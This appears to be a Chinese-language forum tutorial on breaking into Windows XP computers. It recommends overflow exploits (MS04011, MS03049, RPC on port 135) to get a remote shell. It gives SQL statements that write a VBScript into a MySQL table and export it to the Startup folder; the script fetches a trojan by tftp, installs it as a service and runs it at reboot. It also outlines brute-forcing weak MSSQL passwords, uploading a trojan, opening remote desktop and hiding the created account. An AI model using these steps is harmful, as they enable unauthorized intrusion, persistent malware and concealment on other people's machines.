XP接着介绍一些入侵XP的方法
当然溢出还是绝对的主角，他的好处是可以得到"cmdshell"。缺点就是成功率不太高，要有耐心。
对没打补丁的XPsp1来说MS04011，MS03049漏洞还是很多的(ms05039主要这对的是2000)。直接溢出，不用在本地开端口，溢出成功后用telnet直接登陆就行了。
还有就是扫描135端口，看有没有rpc溢出，这是比较流行的。工具网上又很多自己去搜吧。
最后是利用数据库入侵。经典的是mysql和mssql。前者我没试过所以找了些资料大家看看吧：
mysql入侵
工具：WinEggDropShell
[1]用mysql连接你拥有用户名和密码的远程mysql数库。
[2]新建一个数据表后，安格式把下面两行语句写到新建的数据表中假如你新建的数据表为aa，
(1)insert into aa values ("set wshshell=createobject (""wscript.shell"")");
(2)insert into aa values ("a=wshshell.run (""cmd.exe /c (tftp -i 127.0.0.1get win135.exe c:＼＼windows＼＼system32＼＼win135.exe && c:＼＼windows＼＼system32＼＼win135.exe -install) && (net start win135)""，0)");
[3]把新建的数据表为脚本文件并导出到启动项:
select * from aa into outfile "c:＼＼docume~1＼＼alluse~1＼＼「开始」菜单＼＼程序＼＼启动＼＼aa.vbs";
[4]保存成功后，只要对方重启你就可以用木马登陆了
mssql，呵呵不多说了相信大家都听说过了：
首先扫描1433端口开放的主机，然后用x-scan中扫描mssql弱口令 。 再用sqlexec连接带有弱口令的主机 ，接着用tftp上传木马 ，用木马的system权限登陆后，再上传3389.reg开他的远程终端。用3389登陆后.别忘了册掉新建的用户，因为xp登陆对话框中会把新建的用户显示出来.除非你是用的内置帐户，或克隆的内置账户。
网友评论